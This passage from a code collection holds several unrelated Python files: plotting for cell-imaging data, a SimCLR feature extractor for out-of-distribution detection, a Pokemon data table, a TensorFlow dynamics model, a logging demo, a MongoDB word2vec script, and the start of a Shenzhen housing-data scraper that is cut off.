df_fc.to_csv(output_name)\n\n self.fc_heatmap = df_fc\n self.fc_heatmap_col_meta = condition_by\n\n def make_heatmaps(self, sorting='2D_HC'):\n # plot FC heatmap\n n_metacols = len(self.fc_heatmap_col_meta)\n heatmap_cmap = sns.palettes.diverging_palette(\n 240, 0, s=99, as_cmap=True)\n df_data = self.fc_heatmap.iloc[n_metacols:, 2:].astype(float)\n output_fname = os.path.join(self.output_path, ' '.join(\n [self.output_prefix, sorting, 'logFC heatmap.png']))\n row_meta = self.fc_heatmap.iloc[n_metacols:, :2]\n col_meta = self.fc_heatmap.iloc[:n_metacols, 2:].transpose()\n\n # wrapper for passing parameters.\n def mch(data):\n make_complex_heatmap(data,\n heatmap_cmap=heatmap_cmap,\n row_metadata=row_meta,\n col_metadata=col_meta,\n col_colorbar_anchor=[0.12, 0.1, 0.7, 0.05],\n row_colorbar_anchor=[0.81, 0.16, 0.02, 0.7],\n figname=output_fname)\n return\n\n # Write eigher 2d HC sorted heatmap or simple sorted heatmap.\n if sorting == '2D_HC':\n # 2D sorted heatmap\n fig = mch(df_data)\n else:\n # simple sorted heatmap\n cols_order = self.fc_heatmap.iloc[:, 2:].sort_values(\n self.fc_heatmap_col_meta, axis=1).columns\n row_order = self.fc_heatmap.iloc[\n n_metacols:, :].sort_values(['Location', 'Marker']).index\n df_data = df_data.loc[row_order, cols_order]\n row_meta = row_meta.loc[row_order]\n col_meta = col_meta.loc[cols_order]\n fig = mch(df_data)\n\n def make_swarm_plot(self, color_by=None, x_group=None):\n '''\n Plate-wise swarm plot of logFC per channel/feature, with flexibility in coloring and grouping along x-axis\n '''\n sns.set(font_scale=2)\n if color_by is None:\n color_by = self.drug_col\n if x_group is None:\n x_group = self.time_col\n output_fname = os.path.join(self.output_path, ' '.join(\n [self.output_prefix, 'swarm logFC plot by', x_group, '.png']))\n df_fc = self.report.copy()\n # Assumes the first two '_' separated elements of index are location\n # and channel name\n df_fc['Ch'] = ['_'.join(x.split('_')[:2]) for x in df_fc.index]\n df_fc.sort_values(x_group, inplace=True)\n g = sns.FacetGrid(data=df_fc, col='Ch', hue=color_by,\n col_wrap=5, height=5, aspect=2)\n g = g.map(sns.swarmplot, x_group, 'logFC', s=10)\n g.add_legend(markerscale=2)\n plt.savefig(output_fname)\n plt.close()\n sns.set(font_scale=1)\n\n def channel_dist_plot(self, fc_threshold=0.6, organize_by=None, savefig=True):\n '''\n Make channel distribution plot for each channel/feature. X-axis separated by time and col separated by ligand\n Conditions where the channel was differentially expressed passing fc_threshold are represented with solid lines, otherwise dotted.\n '''\n if organize_by is None:\n organize_by = [self.time_col, self.drug_col]\n if not os.path.exists(self.output_path + '/misc'):\n os.mkdir(self.output_path + '/misc')\n # Use independant plotting functinos instead of those in the class.\n grouped_fc_table, reformed_expr_data, line_style = channel_dstrn_plot_data_prep(\n self.report, self.expr_data, self.metadata, fc_threshold=fc_threshold, organize_by=organize_by)\n _ = channel_dstrn_plot(grouped_fc_table, reformed_expr_data, organize_by=organize_by,\n control_name=self.control_name, output_prefix=self.output_prefix, line_style=line_style)\n\n # # Plotting\n # sns.set(font_scale=1.5)\n # for channel in grouped_fc_table.index.unique():\n # channel_logfc = grouped_fc_table.loc[channel]\n # channel_data = reformed_expr_data.loc[channel]\n # line_style = channel_logfc.groupby(organize_by).line_style.first()\n # g = sns.FacetGrid(channel_data,col=self.time_col, hue=self.drug_col, palette=\"Set2\",sharey = False ,sharex=True,height = 5)\n # g = (g.map(sns.distplot, \"Log2 Cycif intensity\", hist=False, rug=False))\n # g.add_legend(markerscale = 2,title=channel)\n # lines = []\n # for sub_plot in g.axes.flatten():\n # time = check_numeric(sub_plot.get_title().split(' = ')[1])\n # for line in sub_plot.lines:\n # ligand = line.get_label()\n # if ligand == self.control_name:\n # continue\n # line.set_linestyle(line_style[(time,ligand)])\n\n # output_fname = ' '.join([self.output_prefix, channel.replace('/', '+'), 'logFC distribution overtime.png']) # some channel names have '/' in it, sooo irritating!!!\n # output_fname = os.path.join(self.output_path,'misc',output_fname)\n # plt.savefig(output_fname)\n # plt.close()\n # sns.set(font_scale=1)\n","sub_path":"Cycif_data_analysis.py","file_name":"Cycif_data_analysis.py","file_ext":"py","file_size_in_byte":19922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"208164416","text":"\"\"\"\nCreated on Sun Oct 21 2018\n@author: Kimin Lee\n\"\"\"\nfrom __future__ import print_function\nimport argparse\nimport torch\nimport numpy as np\nimport os\nimport lib_extraction\n# from OOD_Regression_Mahalanobis import main as regression\nimport torchvision \nfrom torchvision import transforms\nfrom torch.autograd import Variable\nfrom tqdm import tqdm \nimport torchvision.transforms as trn\nfrom tqdm import tqdm\nimport torchvision.models as models\nfrom data_loader_unnormalize import getDataLoader\n\nimport os\nimport math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\n\n#python ./feature_extracting/self_supervised_simclr_resnet34.py --dataset cifar100 --backbone_name resnet34_vanilla_simclr_cifar100 --gpu 6 --out_dataset9 cifar10\nparser = argparse.ArgumentParser(description='PyTorch code: Mahalanobis detector')\nparser.add_argument('--batch_size', type=int, default=200, metavar='N', help='batch size for data loader')\nparser.add_argument('--dataset', default='cifar10', help='cifar10 | cifar100 | svhn')\nparser.add_argument('--outf', default='./extracted_features/', help='folder to output results')\nparser.add_argument('--backbone_name', required=True, help='')\nparser.add_argument('--gpu', required=True, type=int, default=0, help='gpu index')\nparser.add_argument('--out_target', default=None, help='out_target')\nparser.add_argument('--out_dataset1', default='svhn', help='out_target')\nparser.add_argument('--out_dataset2', default='imagenet_resize', help='out_target')\nparser.add_argument('--out_dataset3', default='lsun_resize', help='out_target')\nparser.add_argument('--out_dataset4', default='imagenet_fix', help='out_target')\nparser.add_argument('--out_dataset5', default='lsun_fix', help='out_target')\nparser.add_argument('--out_dataset6', default='place365', help='out_target')\nparser.add_argument('--out_dataset7', default='dtd', help='out_target')\nparser.add_argument('--out_dataset8', default='gaussian_noise', help='out_target')\nparser.add_argument('--out_dataset9', default='uniform_noise', help='out_target')\nargs = parser.parse_args()\n\nprint(args)\n\ndef main():\n class SimCLR(nn.Module):\n def __init__(self, base_encoder, projection_dim=128):\n super().__init__()\n self.enc = base_encoder(pretrained=False) # load model from torchvision.models without pretrained weights.\n self.feature_dim = self.enc.fc.in_features\n\n # Customize for CIFAR10. Replace conv 7x7 with conv 3x3, and remove first max pooling.\n # See Section B.9 of SimCLR paper.\n self.enc.conv1 = nn.Conv2d(3, 64, 3, 1, 1, bias=False)\n self.enc.maxpool = nn.Identity()\n self.enc.fc = nn.Identity() # remove final fully connected layer.\n\n # Add MLP projection.\n self.projection_dim = projection_dim\n self.projector = nn.Sequential(nn.Linear(self.feature_dim, 2048),\n nn.ReLU(),\n nn.Linear(2048, projection_dim))\n\n def forward(self, x):\n feature = self.enc(x)\n projection = self.projector(feature)\n return feature, projection\n\n def feature_list(self, x):\n layer=[]\n layer.append(nn.Sequential(self.enc.conv1,self.enc.bn1,self.enc.relu,self.enc.maxpool))\n for i in range(3):\n layer.append(self.enc.layer1[i])\n for i in range(4):\n layer.append(self.enc.layer2[i])\n for i in range(6):\n layer.append(self.enc.layer3[i])\n for i in range(3):\n layer.append(self.enc.layer4[i])\n layer.append(nn.Sequential(self.enc.avgpool,self.enc.fc))\n out_list = []\n \n out = layer[0](x)\n out_list.append(out)\n for i in range(1,17):\n out = layer[i](out)\n out_list.append(out)\n# y = self.projector(out)\n return self.projector(self.enc(x)), out_list\n\n # function to extact a specific feature\n def intermediate_forward(self, x, layer_index):\n layer=[]\n layer.append(nn.Sequential(self.enc.conv1,self.enc.bn1,self.enc.relu,self.enc.maxpool))\n for i in range(3):\n layer.append(self.enc.layer1[i])\n for i in range(4):\n layer.append(self.enc.layer2[i])\n for i in range(6):\n layer.append(self.enc.layer3[i])\n for i in range(3):\n layer.append(self.enc.layer4[i])\n layer.append(nn.Sequential(self.enc.avgpool,self.enc.fc))\n \n out = layer[0](x)\n if layer_index==0:\n return out\n else:\n for i in range(1,17):\n out = layer[i](out)\n\n if layer_index==i:\n return out\n# y = self.projector(out)\n\n\n # set the path to pre-trained model and output\n pre_trained_net = os.path.join('./trained_backbones',args.backbone_name+'.pth')\n args.outf = args.outf + args.backbone_name + '/'\n if os.path.isdir(args.outf) == False:\n os.makedirs(args.outf)\n torch.cuda.manual_seed(0)\n torch.cuda.set_device(args.gpu)\n # check the in-distribution dataset\n\n model = SimCLR(models.resnet34)\n \n tm=torch.load(pre_trained_net, map_location = \"cuda:\" + str(args.gpu))\n\n model.load_state_dict(tm)\n model.cuda()\n print(model.enc)\n print()\n # model.cuda()\n print('load model: ')\n \n # load dataset\n train_loader = getDataLoader(args.dataset,args.batch_size,'train')\n test_loader = getDataLoader(args.dataset,args.batch_size,'valid')\n\n # set information about feature extaction\n model.eval()\n temp_x = torch.rand(2,3,32,32).cuda()\n temp_x = Variable(temp_x)\n \n temp_list = model.feature_list(temp_x)[1]\n num_output = len(temp_list)\n\n print(num_output)\n feature_list = np.empty(num_output)\n count = 0\n for out in temp_list:\n feature_list[count] = out.size(1)\n count += 1\n \n print('get features for in-distribution samples')\n for i in tqdm(range(num_output)):\n features = lib_extraction.get_features(model, test_loader, i)\n\n file_name = os.path.join(args.outf, 'Features_from_layer_%s_%s_original_test_ind.npy' % (str(i), args.dataset))\n features = np.asarray(features, dtype=np.float32)\n print('layer= ',i)\n print(features.shape)\n np.save(file_name, features) \n \n print('get features scores for out-of-distribution samples')\n out_datasets_temp = [args.out_dataset1,args.out_dataset2,args.out_dataset3,args.out_dataset4,args.out_dataset5,args.out_dataset6,args.out_dataset7,args.out_dataset8,args.out_dataset9]\n out_datasets=[]\n for out in out_datasets_temp:\n if out is not None:\n out_datasets.append(out)\n \n for out in out_datasets:\n print('out')\n print('')\n\n out_test_loader = getDataLoader(out,args.batch_size,'valid')\n\n for i in tqdm(range(num_output)):\n features = lib_extraction.get_features(model, out_test_loader, i)\n\n file_name = os.path.join(args.outf, 'Features_from_layer_%s_%s_original_test_ood.npy' % (str(i), out))\n features = np.asarray(features, dtype=np.float32)\n np.save(file_name, features) \n\n print('get Mahalanobis scores for in-distribution training samples')\n for i in tqdm(range(num_output)):\n features = lib_extraction.get_features(model, train_loader, i)\n\n file_name = os.path.join(args.outf, 'Features_from_layer_%s_%s_original_train_ind.npy' % (str(i), args.dataset))\n features = np.asarray(features, dtype=np.float32)\n np.save(file_name, features) \n\n \nif __name__ == '__main__':\n main()\n","sub_path":"feature_extracting/self_supervised_simclr_resnet34.py","file_name":"self_supervised_simclr_resnet34.py","file_ext":"py","file_size_in_byte":7949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"58649104","text":"class PokeInfo:\r\n\r\n bot = None\r\n evolves = {\r\n 12: [10, 13, 16],\r\n 25: [1, 4, 7, 29, 32, 43, 60, 63, 66, 69, 74, 92, 133, 147],\r\n 50: [11, 14, 17, 19, 21, 23, 25, 27, 35, 37, 39, 41, 46, 48, 50, 52, 54, 56, 58, 72, 77,\r\n 79, 81, 84, 86, 88, 90, 96, 98, 100, 102, 104, 109, 111, 116, 118, 120, 138, 140],\r\n 100: [2, 5, 8, 30, 33, 44, 61, 64, 67, 70, 75, 93, 148],\r\n 400: [129]\r\n }\r\n pokemon = {\r\n 1: {'name': 'BULBASAUR', 'family': 1},\r\n 2: {'name': 'IVYSAUR', 'family': 1},\r\n 3: {'name': 'VENUSAUR', 'family': 1, },\r\n 4: {'name': 'CHARMANDER', 'family': 4},\r\n 5: {'name': 'CHARMELEON', 'family': 4},\r\n 6: {'name': 'CHARIZARD', 'family': 4},\r\n 7: {'name': 'SQUIRTLE', 'family': 7},\r\n 8: {'name': 'WARTORTLE', 'family': 7},\r\n 9: {'name': 'BLASTOISE', 'family': 7},\r\n 10: {'name': 'CATERPIE', 'family': 10},\r\n 11: {'name': 'METAPOD', 'family': 10},\r\n 12: {'name': 'BUTTERFREE', 'family': 10},\r\n 13: {'name': 'WEEDLE', 'family': 13},\r\n 14: {'name': 'KAKUNA', 'family': 13},\r\n 15: {'name': 'BEEDRILL', 'family': 13},\r\n 16: {'name': 'PIDGEY', 'family': 16},\r\n 17: {'name': 'PIDGEOTTO', 'family': 16},\r\n 18: {'name': 'PIDGEOT', 'family': 16},\r\n 19: {'name': 'RATTATA', 'family': 19},\r\n 20: {'name': 'RATICATE', 'family': 19},\r\n 21: {'name': 'SPEAROW', 'family': 21},\r\n 22: {'name': 'FEAROW', 'family': 21},\r\n 23: {'name': 'EKANS', 'family': 23},\r\n 24: {'name': 'ARBOK', 'family': 23},\r\n 25: {'name': 'PIKACHU', 'family': 25},\r\n 26: {'name': 'RAICHU', 'family': 25},\r\n 27: {'name': 'SANDSHREW', 'family': 27},\r\n 28: {'name': 'SANDSLASH', 'family': 27},\r\n 29: {'name': 'NIDORAN FEMALE', 'family': 29},\r\n 30: {'name': 'NIDORINA', 'family': 29},\r\n 31: {'name': 'NIDOQUEEN', 'family': 29},\r\n 32: {'name': 'NIDORAN MALE', 'family': 32},\r\n 33: {'name': 'NIDORINO', 'family': 32},\r\n 34: {'name': 'NIDOKING', 'family': 32},\r\n 35: {'name': 'CLEFAIRY', 'family': 35},\r\n 36: {'name': 'CLEFABLE', 'family': 35},\r\n 37: {'name': 'VULPIX', 'family': 37},\r\n 38: {'name': 'NINETALES', 'family': 37},\r\n 39: {'name': 'JIGGLYPUFF', 'family': 39},\r\n 40: {'name': 'WIGGLYTUFF', 'family': 39},\r\n 41: {'name': 'ZUBAT', 'family': 41},\r\n 42: {'name': 'GOLBAT', 'family': 41},\r\n 43: {'name': 'ODDISH', 'family': 43},\r\n 44: {'name': 'GLOOM', 'family': 43},\r\n 45: {'name': 'VILEPLUME', 'family': 43},\r\n 46: {'name': 'PARAS', 'family': 46},\r\n 47: {'name': 'PARASECT', 'family': 46},\r\n 48: {'name': 'VENONAT', 'family': 48},\r\n 49: {'name': 'VENOMOTH', 'family': 48},\r\n 50: {'name': 'DIGLETT', 'family': 50},\r\n 51: {'name': 'DUGTRIO', 'family': 50},\r\n 52: {'name': 'MEOWTH', 'family': 52},\r\n 53: {'name': 'PERSIAN', 'family': 52},\r\n 54: {'name': 'PSYDUCK', 'family': 54},\r\n 55: {'name': 'GOLDUCK', 'family': 54},\r\n 56: {'name': 'MANKEY', 'family': 56},\r\n 57: {'name': 'PRIMEAPE', 'family': 56},\r\n 58: {'name': 'GROWLITHE', 'family': 58},\r\n 59: {'name': 'ARCANINE', 'family': 58},\r\n 60: {'name': 'POLIWAG', 'family': 60},\r\n 61: {'name': 'POLIWHIRL', 'family': 60},\r\n 62: {'name': 'POLIWRATH', 'family': 60},\r\n 63: {'name': 'ABRA', 'family': 63},\r\n 64: {'name': 'KADABRA', 'family': 63},\r\n 65: {'name': 'ALAKAZAM', 'family': 63},\r\n 66: {'name': 'MACHOP', 'family': 66},\r\n 67: {'name': 'MACHOKE', 'family': 66},\r\n 68: {'name': 'MACHAMP', 'family': 66},\r\n 69: {'name': 'BELLSPROUT', 'family': 69},\r\n 70: {'name': 'WEEPINBELL', 'family': 69},\r\n 71: {'name': 'VICTREEBEL', 'family': 69},\r\n 72: {'name': 'TENTACOOL', 'family': 72},\r\n 73: {'name': 'TENTACRUEL', 'family': 72},\r\n 74: {'name': 'GEODUDE', 'family': 74},\r\n 75: {'name': 'GRAVELER', 'family': 74},\r\n 76: {'name': 'GOLEM', 'family': 74},\r\n 77: {'name': 'PONYTA', 'family': 77},\r\n 78: {'name': 'RAPIDASH', 'family': 77},\r\n 79: {'name': 'SLOWPOKE', 'family': 79},\r\n 80: {'name': 'SLOWBRO', 'family': 79},\r\n 81: {'name': 'MAGNEMITE', 'family': 81},\r\n 82: {'name': 'MAGNETON', 'family': 81},\r\n 83: {'name': 'FARFETCHD', 'family': 83},\r\n 84: {'name': 'DODUO', 'family': 84},\r\n 85: {'name': 'DODRIO', 'family': 84},\r\n 86: {'name': 'SEEL', 'family': 86},\r\n 87: {'name': 'DEWGONG', 'family': 86},\r\n 88: {'name': 'GRIMER', 'family': 88},\r\n 89: {'name': 'MUK', 'family': 88},\r\n 90: {'name': 'SHELLDER', 'family': 90},\r\n 91: {'name': 'CLOYSTER', 'family': 90},\r\n 92: {'name': 'GASTLY', 'family': 92},\r\n 93: {'name': 'HAUNTER', 'family': 92},\r\n 94: {'name': 'GENGAR', 'family': 92},\r\n 95: {'name': 'ONIX', 'family': 95},\r\n 96: {'name': 'DROWZEE', 'family': 96},\r\n 97: {'name': 'HYPNO', 'family': 96},\r\n 98: {'name': 'KRABBY', 'family': 98},\r\n 99: {'name': 'KINGLER', 'family': 98},\r\n 100: {'name': 'VOLTORB', 'family': 100},\r\n 101: {'name': 'ELECTRODE', 'family': 100},\r\n 102: {'name': 'EXEGGCUTE', 'family': 102},\r\n 103: {'name': 'EXEGGUTOR', 'family': 102},\r\n 104: {'name': 'CUBONE', 'family': 104},\r\n 105: {'name': 'MAROWAK', 'family': 104},\r\n 106: {'name': 'HITMONLEE', 'family': 106},\r\n 107: {'name': 'HITMONCHAN', 'family': 107},\r\n 108: {'name': 'LICKITUNG', 'family': 108},\r\n 109: {'name': 'KOFFING', 'family': 109},\r\n 110: {'name': 'WEEZING', 'family': 109},\r\n 111: {'name': 'RHYHORN', 'family': 111},\r\n 112: {'name': 'RHYDON', 'family': 111},\r\n 113: {'name': 'CHANSEY', 'family': 113},\r\n 114: {'name': 'TANGELA', 'family': 114},\r\n 115: {'name': 'KANGASKHAN', 'family': 115},\r\n 116: {'name': 'HORSEA', 'family': 116},\r\n 117: {'name': 'SEADRA', 'family': 116},\r\n 118: {'name': 'GOLDEEN', 'family': 118},\r\n 119: {'name': 'SEAKING', 'family': 118},\r\n 120: {'name': 'STARYU', 'family': 120},\r\n 121: {'name': 'STARMIE', 'family': 120},\r\n 122: {'name': 'MR MIME', 'family': 122},\r\n 123: {'name': 'SCYTHER', 'family': 123},\r\n 124: {'name': 'JYNX', 'family': 124},\r\n 125: {'name': 'ELECTABUZZ', 'family': 125},\r\n 126: {'name': 'MAGMAR', 'family': 126},\r\n 127: {'name': 'PINSIR', 'family': 127},\r\n 128: {'name': 'TAUROS', 'family': 128},\r\n 129: {'name': 'MAGIKARP', 'family': 129},\r\n 130: {'name': 'GYARADOS', 'family': 129},\r\n 131: {'name': 'LAPRAS', 'family': 131},\r\n 132: {'name': 'DITTO', 'family': 132},\r\n 133: {'name': 'EEVEE', 'family': 133},\r\n 134: {'name': 'VAPOREON', 'family': 133},\r\n 135: {'name': 'JOLTEON', 'family': 133},\r\n 136: {'name': 'FLAREON', 'family': 133},\r\n 137: {'name': 'PORYGON', 'family': 137},\r\n 138: {'name': 'OMANYTE', 'family': 138},\r\n 139: {'name': 'OMASTAR', 'family': 138},\r\n 140: {'name': 'KABUTO', 'family': 140},\r\n 141: {'name': 'KABUTOPS', 'family': 140},\r\n 142: {'name': 'AERODACTYL', 'family': 142},\r\n 143: {'name': 'SNORLAX', 'family': 143},\r\n 144: {'name': 'ARTICUNO', 'family': 144},\r\n 145: {'name': 'ZAPDOS', 'family': 145},\r\n 146: {'name': 'MOLTRES', 'family': 146},\r\n 147: {'name': 'DRATINI', 'family': 147},\r\n 148: {'name': 'DRAGONAIR', 'family': 147},\r\n 149: {'name': 'DRAGONITE', 'family': 147},\r\n 150: {'name': 'MEWTWO', 'family': 150},\r\n 151: {'name': 'MEW', 'family': 151},\r\n }\r\n\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n def get_family_candy(self, poke_id):\r\n return self.pokemon[poke_id]['family']\r\n\r\n def get_family_candy_name(self, poke_id):\r\n return self.get_poke_name(self.get_family_candy(poke_id))\r\n\r\n def get_poke_name(self, poke_id):\r\n return self.pokemon[poke_id]['name']\r\n\r\n def can_evolve(self, poke_id, candy_amount=None):\r\n for candy_amt in self.evolves:\r\n if poke_id in self.evolves[candy_amt]:\r\n # If candy_amount is not specified just return True, it can evolve\r\n # Else check if the amount of candy passed is enough\r\n return True if candy_amount is None else candy_amount >= candy_amt\r\n\r\n return False\r\n\r\n @staticmethod\r\n def get_ball_name(pokeball):\r\n balls = ['PokeBall', 'GreatBall', 'UltraBall', 'MasterBall']\r\n return balls[pokeball-1]\r\n\r\n @staticmethod\r\n def get_poke_iv(pokemon):\r\n stamina = pokemon['individual_stamina'] if 'individual_stamina' in pokemon.keys() else 0\r\n attack = pokemon['individual_attack'] if 'individual_attack' in pokemon.keys() else 0\r\n defense = pokemon['individual_defense'] if 'individual_defense' in pokemon.keys() else 0\r\n total = stamina + attack + defense\r\n return 0 if total < 1 else int(100 * total / 45) # Return 0 if total < 1 to prevent division of 0\r\n","sub_path":"bot/poke_info.py","file_name":"poke_info.py","file_ext":"py","file_size_in_byte":9267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"137394922","text":"import tensorflow as tf\nimport numpy as np\n\n# Predefined function to build a feedforward neural network\ndef build_mlp(input_placeholder, \n output_size,\n scope, \n n_layers=2, \n size=500, \n activation=tf.tanh,\n output_activation=None\n ):\n out = input_placeholder\n with tf.variable_scope(scope):\n for _ in range(n_layers):\n out = tf.layers.dense(out, size, activation=activation)\n out = tf.layers.dense(out, output_size, activation=output_activation)\n return out\n\nclass NNDynamicsModel():\n def __init__(self, \n env, \n n_layers,\n size, \n activation, \n output_activation, \n normalization,\n batch_size,\n iterations,\n learning_rate,\n sess\n ):\n \"\"\" YOUR CODE HERE \"\"\"\n \"\"\" Note: Be careful about normalization \"\"\"\n \n self.sess = sess\n self.normalization = normalization\n self.batch_size = batch_size\n self.iterations = iterations\n self.eps = np.finfo(float).tiny\n \n self.obs_and_act = tf.placeholder(shape=[None, env.obs_dim+env.action_space.shape[0]], name=\"ob_act\", dtype=tf.float32)\n self.deltas = tf.placeholder(shape=[None, env.obs_dim], name=\"delta\", dtype=tf.float32)\n \n self.out = build_mlp(self.obs_and_act, \n env.obs_dim,\n \"dynamics\", \n n_layers=n_layers, \n size=size, \n activation=activation,\n output_activation=output_activation\n )\n \n self.loss = tf.nn.l2_loss(self.out-self.deltas)\n self.update_op = tf.train.AdamOptimizer(learning_rate).minimize(self.loss)\n\n def fit(self, data):\n \"\"\"\n Write a function to take in a dataset of (unnormalized)states, (unnormalized)actions, (unnormalized)next_states and fit the dynamics model going from normalized states, normalized actions to normalized state differences (s_t+1 - s_t)\n \"\"\"\n\n \"\"\"YOUR CODE HERE \"\"\"\n \n obs = (np.concatenate([path[\"observations\"] for path in data]) - self.normalization[0]) / (self.normalization[1]+self.eps)\n\n delta = np.concatenate([path[\"next_observations\"] for path in data]) - np.concatenate([path[\"observations\"] for path in data])\n delta = (delta - self.normalization[2]) / (self.normalization[3]+self.eps)\n \n acts = (np.concatenate([path[\"actions\"] for path in data]) - self.normalization[4]) / (self.normalization[5]+self.eps)\n \n for i in range(self.iterations):\n perm_ind = np.random.permutation(obs.shape[0])\n for j in range(int(obs.shape[0]/self.batch_size)):\n index = perm_ind[j*self.batch_size:((j+1)*self.batch_size-1)]\n \n l, u = self.sess.run([self.loss, self.update_op], feed_dict={self.obs_and_act: np.concatenate([obs[index], acts[index]], axis=1),\n self.deltas: delta[index]})\n\n def predict(self, states, actions):\n \"\"\" Write a function to take in a batch of (unnormalized) states and (unnormalized) actions and return the (unnormalized) next states as predicted by using the model \"\"\"\n \"\"\" YOUR CODE HERE \"\"\"\n \n states_n = (states - self.normalization[0]) / (self.normalization[1]+self.eps)\n actions_n = (actions - self.normalization[4]) / (self.normalization[5]+self.eps)\n\n deltas = self.sess.run(self.out, feed_dict={self.obs_and_act: np.concatenate([states_n, actions_n], axis=1)})\n \n return (deltas*self.normalization[3]) + self.normalization[2] + states","sub_path":"hw4/dynamics.py","file_name":"dynamics.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"159672166","text":"import logging\nfrom datetime import datetime\n\n\ndef main():\n hostname = 'www.python.org'\n item = 'spam'\n filename = 'data.csv'\n mode = 'r'\n\n # создаем объект журналирования и даем ему имя; рекомендуется давать\n # имя логеру, используя __name__, в качестве имени, если используется\n # журналирование на модульной основе\n logger = logging.getLogger(name='main_app')\n\n # настройка объекта журналирования\n logging.basicConfig(\n # файл журнала протоколирования; если не указан, то объект логирования\n # выводит в sys.stdout\n # filename='app1.log',\n\n # уровень логирования (по-умолчанию logging.WARNING)\n level=logging.INFO,\n\n # определяем формат, используя предопределенный C-стиль формат;\n # указываем ту информацию, которую необходимо писать в сообщении\n format='[%(process)5s] '\n '%(asctime)s '\n '[%(levelname)s] '\n '%(threadName)5s'\n '%(name)s '\n '(%(funcName)s(): '\n '%(pathname)s '\n '(%(filename)s:'\n '%(lineno)d)) '\n '%(message)s'\n )\n\n # повторно вызвать logging.basicConfig() нельзя; для внесения изменений\n # делаем это через root logger\n # logging.getLogger().level = logging.WARNING\n\n # так как уровень протоколирования INFO ниже, чем уровень WARNING, то это\n # сообщение не будет проигнорировано\n logger.info(str.format(\n 'current time: {}', datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n ))\n logger.critical(str.format('unknown host: {}', hostname))\n logger.error(str.format(\"can't be detect: {}\", item))\n logger.warning('functionality was obsoleted!')\n logger.info(str.format('open file \"{}\" in mode \"{}\"', filename, mode))\n logger.debug('debug information')\n\n try:\n not_possible = 1 / 0\n except ZeroDivisionError as e:\n logger.critical(\n str.format('exception: \"{}\"', e),\n exc_info=True,\n stack_info=True\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"spl/logging_module/app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"62500298","text":"import pymongo\r\nfrom pymongo import MongoClient\r\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\r\nimport string\r\nimport nltk\r\nnltk.download('stopwords')\r\nfrom nltk.tokenize import word_tokenize\r\nimport gensim\r\nfrom gensim.models import Word2Vec\r\nfrom gensim.models import Phrases\r\nfrom gensim.models.phrases import Phraser\r\n\r\n#MongoDB connection\r\nclient = MongoClient(\"mongodb://localhost:27017\")\r\nsourcedb = client.wikidb\r\nsourcecoll = sourcedb['wikipedia']\r\noutputdb = client.wordEmbedding\r\noutputcoll = outputdb['similarTrigrams']\r\n\r\n#Storing all text content in the database in a list\r\nquery = sourcecoll.find({},{'text':1, '_id':0})\r\nliste = list(query)\r\n\r\n# Clean up characters that do not have a place in the ascii table and give errors when printing\r\ni = \"\"\r\nfor item in liste:\r\n i += item['text'].encode(\"ascii\", errors=\"ignore\").decode()\r\n\r\ni = i.lower()\r\n\r\nfor character in i:\r\n if character in string.punctuation:\r\n i = i.replace(character, \"\")\r\n\r\n\r\ntext_tokens = word_tokenize(i)\r\ntokens_without_sw = [word for word in text_tokens if word not in STOPWORDS]\r\n\r\nbigram = Phrases([tokens_without_sw], min_count=1, threshold=2, delimiter='_')\r\nbigram_phraser = Phraser(bigram)\r\n\r\nfor sent in [tokens_without_sw]:\r\n tokens_ = bigram_phraser[sent]\r\n\r\ntrigram = Phrases([tokens_], min_count=1, threshold=2, delimiter='_')\r\ntrigram_phraser = Phraser(trigram)\r\n\r\nfor sent in [tokens_]:\r\n ttokens_ = trigram_phraser[sent]\r\n\r\ncorpus = []\r\n\r\nfor word in ttokens_:\r\n corpus.append(word.split())\r\n\r\nmodel = Word2Vec(corpus, window = 2, min_count = 2, sg = 1)\r\ni = 0\r\nfor word in ttokens_:\r\n try:\r\n sims = model.wv.most_similar(word)\r\n except KeyError:\r\n continue\r\n for similar in sims:\r\n item = {'key' : word , 'similar' : similar[0]}\r\n outputcoll.insert_one(item)\r\n","sub_path":"tSimilars.py","file_name":"tSimilars.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"603602403","text":"import importlib\nimport sys\nimportlib.reload(sys)\nimport requests\nimport lxml.etree as etree\nimport pandas as pd\nimport openpyxl\nimport os\nimport shutil\nimport urllib.parse\n\n\n#detailUrl = 'http://ris.szpl.gov.cn/bol/'\n\ndetailUrl = 'http://zjj.sz.gov.cn/ris/bol/szfdc/'\nclass HouseToTxt():\n # 初始化函数\n def __init__(self):\n # 定义初始的文件路径,需要拼接\n self.detailUrl = \"http://zjj.sz.gov.cn/ris/bol/szfdc/\"\n # 定义将数据写入到test.txt文件\n #self.file = open(\"test.txt\", \"w\",encoding='utf-8')\n # 析构函数\n def __del__(self):\n #self.file.close()\n print(f'__del__:{self.detailUrl}')\n\n def opencsv(self):\n self.file = open(self.building_file, \"w\", encoding='utf-8')\n\n def closecsv(self):\n self.file.close()\n\n def copycsv(self,file,file_dir):\n shutil.copy(file, file_dir)\n\n #根据项目url获取所有楼栋以及branch数据\n def parseBuilding(self,url):\n #获取项目名称,设置生成文件名为项目名称\n self.getBuildingName(url)\n #打开文件\n self.opencsv()\n buildings = self.getBuilding(url)\n for building in buildings:\n branchs = self.getBranch(building)\n for branch in branchs:\n self.parseHouse(branch)\n #关闭文件\n self.closecsv()\n #csv转换为excel,并去除掉无用列\n self.csv_to_excel()\n\n def csv_to_excel(self):\n csv_dir = \"..\\\\szhouse\\\\\"\n excel_dir = \"..\\\\szhouse_excel\\\\\"\n dataframe_dir = \"..\\\\szhouse_excel_1\\\\\"\n excel_suffix = f\".xlsx\"\n self.copycsv(self.building_file,csv_dir)\n name = 